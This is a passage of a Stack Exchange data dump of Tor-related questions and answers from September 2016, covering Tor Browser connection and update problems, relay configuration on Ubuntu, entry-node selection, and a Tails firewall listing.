  <row Id="12649" PostTypeId="1" CreationDate="2016-09-18T08:00:12.200" Score="0" ViewCount="273" Body="&lt;p&gt;I was just automatically updated to TOR Browser 6.0.5 on Windows. When I check for TORness at check.torproject.org, I get &quot;Problem Loading Page. The connection has timed out. The server at check.torproject.org is taking too long to respond.&quot; Etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been consistent over the last few hours. Some other torproject.org URLs also time out but many torproject.org pages do load quickly. Computer connectivity to many other non-TOR sites is fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug in the new 6.0.5 or is this a problem with the check.torproject.org page itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THANK YOU.&lt;/p&gt;&#xA;" OwnerUserId="14377" LastEditorUserId="14378" LastEditDate="2016-09-19T09:51:13.467" LastActivityDate="2016-09-19T09:51:13.467" Title="check.torproject.org times out using TorBrowser 6.0.5" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12650" PostTypeId="1" CreationDate="2016-09-18T08:28:40.387" Score="2" ViewCount="30066" Body="&lt;p&gt;I installed tor browser bundle for windows on Windows 7, 32 bit.&#xA;When I start the tor browser, in 80% of the cases, I get an error with &quot;&lt;strong&gt;Could not connect to tor control port&lt;/strong&gt;&quot;. I tried with disabled antivirus and disabled firewall, but that does not help. Because sometimes I can connect, it is likely to be a timing issue. &#xA;I used tor browser on the same laptop for years without problems. With version 6 the problems began. Any ideas to solve my problem?&lt;/p&gt;&#xA;" OwnerUserId="14379" LastActivityDate="2020-05-04T23:35:18.850" Title="&quot;Could not connect to tor control port&quot;" Tags="|tor-browser-bundle|windows|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12651" PostTypeId="2" ParentId="12647" CreationDate="2016-09-18T12:44:32.510" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&quot;When I run DISCONNECT.ME to search, it's redirected to DuckDuckGo&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Disconnect.me is redirecting to DuckDuckGo while they work on restoring their Google search syndication, it was falling back to Bing syndication which was providing less than helpful results so it will now redirect to DuckDuckGo.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&quot;if I enter an onion address, I receive a 404 error.&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;404 is a server reported error (e.g. the onion service is saying it can't find a file), it is likely that the onion site in question is down or broken. Try loading &lt;a href=&quot;https://www.facebookcorewwwi.onion/&quot; rel=&quot;nofollow&quot;&gt;https://www.facebookcorewwwi.onion/&lt;/a&gt; if that works then theres no reason you shouldn't be able to load any other onion site. See also &lt;a href=&quot;https://tor.stackexchange.com/questions/6546/why-cant-i-open-most-of-the-onion-sites&quot;&gt;Why can&amp;#39;t I open most of the onion sites?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-09-18T12:44:32.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12652" PostTypeId="2" ParentId="12641" CreationDate="2016-09-18T14:01:28.153" Score="1" Body="&lt;p&gt;I'm using it as a bridge if I need to use a Tor Browser through it, but usually I'm routing all traffic through Tor node at my home: it's simple and secure. I'm using &lt;code&gt;iptables&lt;/code&gt; for it and local &lt;code&gt;bind&lt;/code&gt; setup.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-18T14:01:28.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12653" PostTypeId="2" ParentId="12648" CreationDate="2016-09-18T14:52:29.243" Score="0" Body="&lt;p&gt;It's an old talk, and - actually - it's not related to Tor itself and even to Darknets in general: a clearnet/Internet surfing has exactly the same concerns. So - step-by-step to your scenarios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Scenario 2&lt;/em&gt; is insecure &lt;strong&gt;by itself&lt;/strong&gt; : a cleartext data are very easy to track, tag and mess up. No further questions even possible: it &lt;strong&gt;is horrible&lt;/strong&gt; in terms of security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Scenario 1&lt;/em&gt; is &lt;em&gt;hyypothetically&lt;/em&gt; vulnerable to &quot;behavioral fingerprinting* in case of MitM SSL or if something like PRISM(according to Ed Snowden) has access to logs of the endpoint servers. It can be potential guess-mapping like &quot;Person #1 visits Gmail then surfs Facebook for 2-5 minutes and then goes to GitHub&quot;. The guess is very vague, but it's possible to make a set of &quot;behavioral uses&quot; for a person and have a 80%+ precision in traffic mapping. The oddity of this method disappears if we will take a look at basic psychoogy: &lt;em&gt;all&lt;/em&gt; people &lt;em&gt;do have&lt;/em&gt; some little uses, the exact things done in &lt;em&gt;exact&lt;/em&gt; manner an usually in &lt;em&gt;exact&lt;/em&gt; order. These fingerprint are closely related to the personality of the subject and in 90% cases are &lt;em&gt;totally invisible ti the subject's conciousnes&lt;/em&gt;. You can take an experiment on yourself by using a local proxy+DNS to do your internet things and taking a look at the logs in search for patterns. They &lt;em&gt;will show up&lt;/em&gt; - I've checked it myself.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-18T14:52:29.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12654" PostTypeId="2" ParentId="12647" CreationDate="2016-09-18T14:56:05.180" Score="-1" Body="&lt;p&gt;You &lt;em&gt;must avoid&lt;/em&gt; using &lt;em&gt;any&lt;/em&gt; clearnet-proxy for accessing Darknet, not just Tor. It ruins the darknet concept totally and fully exposes you. If you need more deep explaination I can tell you why&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-18T14:56:05.180" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="12655" PostTypeId="1" CreationDate="2016-09-18T15:06:11.203" Score="0" ViewCount="541" Body="&lt;p&gt;I'm having some issues getting my relay up and running with Ubuntu. I have one running on Debian with no issues, so hopefully someone can give me a hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the torproject instuctions:&#xA;You need to add the following entry in /etc/apt/sources.list or a new file in /etc/apt/sources.list.d/:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;deb &lt;a href=&quot;http://deb.torproject.org/torproject.org&quot; rel=&quot;nofollow&quot;&gt;http://deb.torproject.org/torproject.org&lt;/a&gt; xenial main&lt;/p&gt;&#xA;&#xA;&lt;p&gt;deb-src &lt;a href=&quot;http://deb.torproject.org/torproject.org&quot; rel=&quot;nofollow&quot;&gt;http://deb.torproject.org/torproject.org&lt;/a&gt; xenial main&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add the gpg key used to sign the packages by running the following commands at your command prompt:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gpg --keyserver keys.gnupg.net --recv 886DDD89&#xA;gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can install it with the following commands:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$ apt-get update&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$ apt-get install tor deb.torproject.org-keyring&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've double checked my version and everything there is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then edit my torrc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ORPort 443&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ExitPolicy reject *:*&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;log notice /var/log/tor/notices.log&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Nickname ****&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I run the service and nothing populates in the log file (in fact notice.log is never created).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The service is marked as running/ran but then I get the &quot;Interrupt: exiting cleanly&quot; message but I don't know where/why that is coming from.&#xA;Has anyone encountered this? And if so, how did you resolve it?&lt;/p&gt;&#xA;" OwnerUserId="7282" LastEditorUserId="12240" LastEditDate="2016-09-18T20:47:58.323" LastActivityDate="2021-12-23T23:06:45.617" Title="Setting up Tor Relay on Ubuntu" Tags="|ubuntu|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12656" PostTypeId="2" ParentId="12639" CreationDate="2016-09-18T15:11:00.857" Score="0" Body="&lt;p&gt;You have a censorship in your case, so let's find it! Please post these data:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Traceroute and ping(yes/no) to the IP's in your log&lt;/li&gt;&#xA;&lt;li&gt;Your &lt;code&gt;torrc&lt;/code&gt; config&lt;/li&gt;&#xA;&lt;li&gt;Your &lt;code&gt;ipconfig /all&lt;/code&gt; - scrubble your external IP if you have it directly on your PC!&lt;/li&gt;&#xA;&lt;li&gt;Traceroute and ping(yes/no) to your bridges - &lt;strong&gt;scrubbling the IP's&lt;/strong&gt;!!! &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's safe, because Tor directories IP's are hardcoded to the source and publically available, so no leaks possible. Add the data - and I'll be able to help you more specificly. If you don't want to publish it here - drop a line and we can have a private Skype chat about it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-18T15:11:00.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12657" PostTypeId="2" ParentId="12149" CreationDate="2016-09-18T15:14:47.183" Score="1" Body="&lt;p&gt;Yes, generally, but it's not a requirement. You better have 1-2-3 &lt;strong&gt;different&lt;/strong&gt; relays running 24/7/365 to use as a bridge or entries for your HS host - it will improve it's visibility and speed greatly. Strictly and minimalistically speaking - no, just an instance of Tor able to connect to the network is minimal-enough.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-18T15:14:47.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12658" PostTypeId="1" CreationDate="2016-09-18T18:57:53.750" Score="0" ViewCount="336" Body="&lt;p&gt;when I run whonix gateway it almost all time use same first node. When I restart tor it makes new circuit with different exit node but first node is still the same IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the way how TOR choose first node? It's the one with best latency? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to make it more random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You.&lt;/p&gt;&#xA;" OwnerUserId="14385" LastActivityDate="2016-09-19T20:14:08.987" Title="Randomize tor entering node" Tags="|whonix|" AnswerCount="1" CommentCount="1" ClosedDate="2016-09-19T22:23:37.527" ContentLicense="CC BY-SA 3.0" />
  <row Id="12659" PostTypeId="2" ParentId="12649" CreationDate="2016-09-18T20:36:43.263" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow&quot;&gt;check.torproject.org&lt;/a&gt; is working fine now. The Tor Project servers were probably having temporary issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For future reference, if a specific website times out, but other websites load normally, it's most likely a temporary problem with the website.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-09-18T20:36:43.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12660" PostTypeId="1" CreationDate="2016-09-18T22:07:17.957" Score="0" ViewCount="1551" Body="&lt;p&gt;I have torbrowser-install-6.0.3_en-US.exe and the updates are disabled: tools --&gt; options --&gt; advanced --&gt; update --&gt; never check for update. Nevertheless after a while Tor browser reposts me that it has downloaded and installed updates (6.0.5) and need to be restarted. Is there a way to forbid the Tor browser unauthorized update activity? The Tor browser is not functional after the update and I have to delete it and reinstall torbrowser-install-6.0.3_en-US.exe. This is very annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&#xA;Mike&lt;/p&gt;&#xA;" OwnerUserId="14387" LastActivityDate="2016-09-19T19:00:34.360" Title="Tor browser updates itself despite the updates are disabled" Tags="|help|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12661" PostTypeId="2" ParentId="12643" CreationDate="2016-09-18T22:54:47.270" Score="0" Body="&lt;p&gt;The Tor Browser Bundle does not install any other software as far as I am aware. OpenVPN and TAP-Windows are used for VPN connections, and are not associated with Tor.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-09-18T22:54:47.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12662" PostTypeId="1" CreationDate="2016-09-19T08:27:22.277" Score="0" ViewCount="2949" Body="&lt;p&gt;Launch Tor I get: &quot;The Tor executable is missing.&quot; Why is it missing &amp;amp; how to replace?&lt;/p&gt;&#xA;" OwnerUserId="14391" LastActivityDate="2016-09-22T03:28:07.457" Title="Launch Tor I get: &quot;The Tor executable is missing.&quot;" Tags="|error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12663" PostTypeId="2" ParentId="12649" CreationDate="2016-09-19T09:50:44.733" Score="0" Body="&lt;p&gt;On Sunday, September 18th, &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/&lt;/a&gt; as well as some other services were temporarily down. So it was not a problem with your installation. By now all should be working normally.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-09-19T09:50:44.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12668" PostTypeId="2" ParentId="12660" CreationDate="2016-09-19T16:05:59.433" Score="0" Body="&lt;p&gt;You seem to have a fae Tor Browser distro, I helped people who had either Tor Browser, or the &lt;code&gt;tor.exe&lt;/code&gt; binary replaced by a hoax program mimicing to the normal binary. Reinstall it from scratch and please tell how you have obtained this distro? What is your OS? I'll be able to help you in troubleshooting then&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-19T16:05:59.433" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12671" PostTypeId="1" CreationDate="2016-09-19T17:27:29.400" Score="1" ViewCount="67" Body="&lt;p&gt;I think I've tried everything:  made Disconnect my default search engine (instead of Duk); unchecked all other search engines; made Tor my default browser (instead of Mozilla); untrusted Duk &amp;amp; trusted Disconnect in Noscript; cleared the cache in Tor (&amp;amp; in Internet Explorer- which has long been TURNED OFF - &amp;amp; in Moz FF); made Tor my default browser (instead of Mozilla), closed &amp;amp; opened it. Still, every time I search for an item with the sole remaining search engine in TOR- Disconnect- I get -Tor has prevented a redirect to DuckDuckGo. What am I missing? &lt;/p&gt;&#xA;" OwnerUserId="14401" LastActivityDate="2016-09-19T17:27:29.400" Title="DuckDuckGo is strangely behaving like a browser hijacker. I've already tried your tips. Pls advise" Tags="|malware|persistent|" AnswerCount="0" CommentCount="1" ClosedDate="2016-09-19T22:21:28.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="12673" PostTypeId="2" ParentId="12660" CreationDate="2016-09-19T19:00:34.360" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I have torbrowser-install-6.0.3_en-US.exe and the updates are disabled: tools --&gt; options --&gt; advanced --&gt; update --&gt; never check for update. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After you start fresh installed old version of browser you need to change this option as fast as you could to do and restart browser after that without any delay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or add changed pref to &lt;strong&gt;&lt;em&gt;prefs.js&lt;/em&gt;&lt;/strong&gt; file after you installed old version of browser and before you run it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;user_pref(&quot;app.update.auto&quot;, false);&lt;br&gt;&#xA;  user_pref(&quot;app.update.enabled&quot;, false);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14402" LastActivityDate="2016-09-19T19:00:34.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12674" PostTypeId="2" ParentId="12285" CreationDate="2016-09-19T19:38:21.733" Score="1" Body="&lt;p&gt;I just had the exact same issue in the same Linux Mint version.&#xA;According to this bug report, it affects all recent Debian releases: &lt;a href=&quot;https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=808296&quot; rel=&quot;nofollow&quot;&gt;https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=808296&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The report suggests as a workaround to disable the apparmor config in the service file:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo mkdir /etc/systemd/system/tor@default.service.d/&#xA;sudo bash -c 'echo -e &quot;[Service]\nAppArmorProfile=&quot; &amp;gt; /etc/systemd/system/tor@default.service.d/override.conf'&#xA;sudo systemctl daemon-reload&#xA;sudo service tor restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Worked for me ;-)&lt;/p&gt;&#xA;" OwnerUserId="14403" LastActivityDate="2016-09-19T19:38:21.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12675" PostTypeId="2" ParentId="12658" CreationDate="2016-09-19T20:14:08.987" Score="0" Body="&lt;p&gt;there's &lt;strong&gt;no straight way&lt;/strong&gt; to control the entries, but:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using &lt;code&gt;EntryNodes&lt;/code&gt; with &lt;code&gt;StrictNodes&lt;/code&gt; can give you a hand here&lt;/li&gt;&#xA;&lt;li&gt;Using bridges - even controlled by you - will help you to diversify the link map&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-19T20:14:08.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12676" PostTypeId="2" ParentId="12655" CreationDate="2016-09-19T20:16:10.443" Score="0" Body="&lt;p&gt;As my experience has shown - &lt;strong&gt;there's no way to capture all the output data&lt;/strong&gt;,especially the crush case ones. Use GNU Screen with &lt;code&gt;2&amp;gt;&amp;amp;1&lt;/code&gt; and data logging for this - no other way is fully working. Run Tor in foreground in that case&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-19T20:16:10.443" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12678" PostTypeId="1" AcceptedAnswerId="13079" CreationDate="2016-09-19T23:35:58.430" Score="27" ViewCount="56487" Body="&lt;h3&gt;Tor service is not working&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I have installed Tor on a command-line only environment (without the browser), so I can't type in &lt;code&gt;check.torproject.org&lt;/code&gt; with a browser.  Tor is used by a script to request data from clearnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a RHEL-compatible Linux OS, and have &lt;strong&gt;Nyx&lt;/strong&gt; (formerly &lt;em&gt;ARM&lt;/em&gt;) installed.  Tor is set in client-only mode, and Nyx does not show any issues whatsoever. The tor service is used by &lt;a href=&quot;https://www.privoxy.org/&quot; rel=&quot;noreferrer&quot;&gt;Privoxy&lt;/a&gt; proxy forwarding in order to relay data to my script.  It's been working perfectly for months now, but a problem has just occurred in the setup which is preventing my script to access Tor.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Checking for issues from command line&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Please guide me on how to check the Tor status from the command line, and where to look for errors to get my connection working again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;I used to use torify/torsocks to see if tor is working, but sadly it appears to be glitchy and &lt;code&gt;torify curl http://....&lt;/code&gt; doesn't seem work anymore. I know that The tor process is listening, but I have no way to see if it's working and troubleshoot the problem.&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, is there a way I determine if Tor is blocked by my ISP and whether if I need to use bridges? How can I set up bridges on &lt;code&gt;torrc&lt;/code&gt; using command-line?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I noticed my server's time had gone out of sync. If you have a similar problem, make sure your machine's time is correct. &lt;a href=&quot;https://serverfault.com/a/368608/301458&quot;&gt;Here's what I did&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14406" LastEditorUserId="14406" LastEditDate="2019-11-01T23:33:54.783" LastActivityDate="2022-09-03T15:14:41.787" Title="How to check if Tor is working and debug the problem on CLI?" Tags="|linux|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="12681" PostTypeId="2" ParentId="10287" CreationDate="2016-09-20T05:02:00.107" Score="0" Body="&lt;p&gt;This command should work to take a look at the firewall&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo iptables -L -v&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also I add an interface specific drop command before the loopback command to prevent an attack that I think may be possible against the loopback. These packets are called martian packets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Martian_packet&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Martian_packet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Full output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;amnesia@amnesia:~$ sudo iptables -L -v&#xA;Chain INPUT (policy DROP 0 packets, 0 bytes)&#xA; pkts bytes target     prot opt in     out     source               destination         &#xA;    0     0 ACCEPT     all  --  any    any     anywhere             anywhere             state ESTABLISHED&#xA;    0     0 ACCEPT     all  --  lo     any     anywhere             anywhere            &#xA;&#xA;Chain FORWARD (policy DROP 0 packets, 0 bytes)&#xA; pkts bytes target     prot opt in     out     source               destination         &#xA;&#xA;Chain OUTPUT (policy DROP 0 packets, 0 bytes)&#xA; pkts bytes target     prot opt in     out     source               destination         &#xA;    0     0 ACCEPT     all  --  any    any     anywhere             anywhere             state ESTABLISHED&#xA;    0     0 ACCEPT     icmp --  any    lo      anywhere             anywhere             state RELATED&#xA;    0     0 ACCEPT     tcp  --  any    lo      anywhere             localhost            tcp dpt:9050 flags:FIN,SYN,RST,ACK/SYN owner UID match root&#xA;    0     0 ACCEPT     tcp  --  any    lo      anywhere             localhost            tcp dpt:9050 flags:FIN,SYN,RST,ACK/SYN owner UID match proxy&#xA;    0     0 ACCEPT     tcp  --  any    lo      anywhere             localhost            tcp dpt:9050 flags:FIN,SYN,RST,ACK/SYN owner UID match nobody&#xA;    0     0 ACCEPT     tcp  --  any    lo      anywhere             localhost            tcp flags:FIN,SYN,RST,ACK/SYN multiport dports 9050,9061,9062,9150 owner UID match amnesia&#xA;    0     0 ACCEPT     tcp  --  any    lo      anywhere             localhost            tcp dpt:9062 flags:FIN,SYN,RST,ACK/SYN owner UID match htp&#xA;    0     0 ACCEPT     tcp  --  any    lo      anywhere             localhost            tcp dpt:9062 flags:FIN,SYN,RST,ACK/SYN owner UID match tails-iuk-get-target-file&#xA;    0     0 ACCEPT     tcp  --  any    lo      anywhere             localhost            tcp dpt:9062 flags:FIN,SYN,RST,ACK/SYN owner UID match tails-upgrade-frontend&#xA;    0     0 ACCEPT     tcp  --  any    lo      anywhere             localhost            tcp dpt:9051 owner UID match tor-launcher&#xA;    0     0 ACCEPT     tcp  --  any    lo      anywhere             localhost            tcp dpt:9051 owner UID match root&#xA;    0     0 ACCEPT     tcp  --  any    lo      anywhere             localhost            tcp dpt:9052 owner UID match amnesia&#xA;    0     0 ACCEPT     tcp  --  any    lo      anywhere             localhost            tcp dpt:9040 owner UID match amnesia&#xA;    0     0 ACCEPT     udp  --  any    lo      anywhere             localhost            udp dpt:domain owner UID match amnesia&#xA;    0     0 ACCEPT     udp  --  any    lo      anywhere             localhost            udp dpt:mdns owner UID match amnesia&#xA;    0     0 ACCEPT     udp  --  any    lo      anywhere             127.0.0.2            udp dpt:domain owner UID match amnesia&#xA;    0     0 ACCEPT     tcp  --  any    lo      anywhere             127.0.0.2            tcp dpt:domain flags:FIN,SYN,RST,ACK/SYN owner UID match amnesia&#xA;    0     0 ACCEPT     tcp  --  any    lo      anywhere             localhost            tcp dpt:4101 flags:FIN,SYN,RST,ACK/SYN owner UID match amnesia&#xA;    0     0 ACCEPT     tcp  --  any    lo      anywhere             localhost            tcp dpt:ipp flags:FIN,SYN,RST,ACK/SYN owner UID match amnesia&#xA;    0     0 ACCEPT     tcp  --  any    lo      anywhere             localhost            tcp dpt:6136 flags:FIN,SYN,RST,ACK/SYN owner UID match amnesia&#xA;    0     0 ACCEPT     tcp  --  any    !lo     anywhere             anywhere             owner UID match clearnet&#xA;    0     0 ACCEPT     udp  --  any    !lo     anywhere             anywhere             owner UID match clearnet udp dpt:domain&#xA;    0     0 lan        all  --  any    any     anywhere             10.0.0.0/8          &#xA;    0     0 lan        all  --  any    any     anywhere             172.16.0.0/12       &#xA;    0     0 lan        all  --  any    any     anywhere             192.168.0.0/16      &#xA;    0     0 ACCEPT     tcp  --  any    any     anywhere             anywhere             owner UID match debian-tor tcp flags:FIN,SYN,RST,ACK/SYN state NEW&#xA;    0     0 LOG        all  --  any    any     anywhere             anywhere             LOG level debug uid prefix &quot;Dropped outbound packet: &quot;&#xA;    0     0 REJECT     all  --  any    any     anywhere             anywhere             reject-with icmp-port-unreachable&#xA;&#xA;Chain lan (3 references)&#xA; pkts bytes target     prot opt in     out     source               destination         &#xA;    0     0 REJECT     tcp  --  any    any     anywhere             anywhere             tcp dpt:domain reject-with icmp-port-unreachable&#xA;    0     0 REJECT     udp  --  any    any     anywhere             anywhere             udp dpt:domain reject-with icmp-port-unreachable&#xA;    0     0 REJECT     all  --  any    any     anywhere             anywhere             owner UID match i2psvc reject-with icmp-port-unreachable&#xA;    0     0 ACCEPT     all  --  any    any     anywhere             anywhere   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13912" LastEditorUserId="15244" LastEditDate="2016-12-04T16:48:18.257" LastActivityDate="2016-12-04T16:48:18.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12683" PostTypeId="1" CreationDate="2016-09-20T08:04:40.923" Score="1" ViewCount="740" Body="&lt;p&gt;I can't connect to Tor. Every time try to connect it gets stuck on loading network status and won't proceed any further. I used to connect just fine before but I tried to enter a socks5 proxy usin 127.0.0.1 and port 9150 and can't go back now. Below i have pasted the Tor log for you to see what it says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;19/09/2016 10:12:28.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19/09/2016 10:12:28.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19/09/2016 10:12:28.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19/09/2016 10:12:28.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;19/09/2016 10:12:29.300 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;19/09/2016 10:12:29.400 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;19/09/2016 10:12:29.800 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;19/09/2016 10:12:29.900 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;19/09/2016 10:12:30.000 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;19/09/2016 10:12:51.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;19/09/2016 10:12:51.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19/09/2016 10:12:51.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;19/09/2016 10:12:51.300 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;19/09/2016 10:13:04.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19/09/2016 10:13:04.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19/09/2016 10:13:04.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19/09/2016 10:13:04.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;19/09/2016 10:13:13.300 [NOTICE] Bridge 'starman' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (0.0.2.0:3) based on the configured Bridge address. &#xA;19/09/2016 10:13:13.300 [NOTICE] new bridge descriptor 'starman' (fresh): $A2C13B7DFCAB1CBF3A884B6EB99A98067AB6EF44~starman at 0.0.2.0 &#xA;19/09/2016 10:13:13.300 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;19/09/2016 10:13:17.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;19/09/2016 10:13:17.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19/09/2016 10:13:17.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;19/09/2016 10:13:17.300 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help given would be greatly appreciated.&lt;/p&gt;&#xA;" 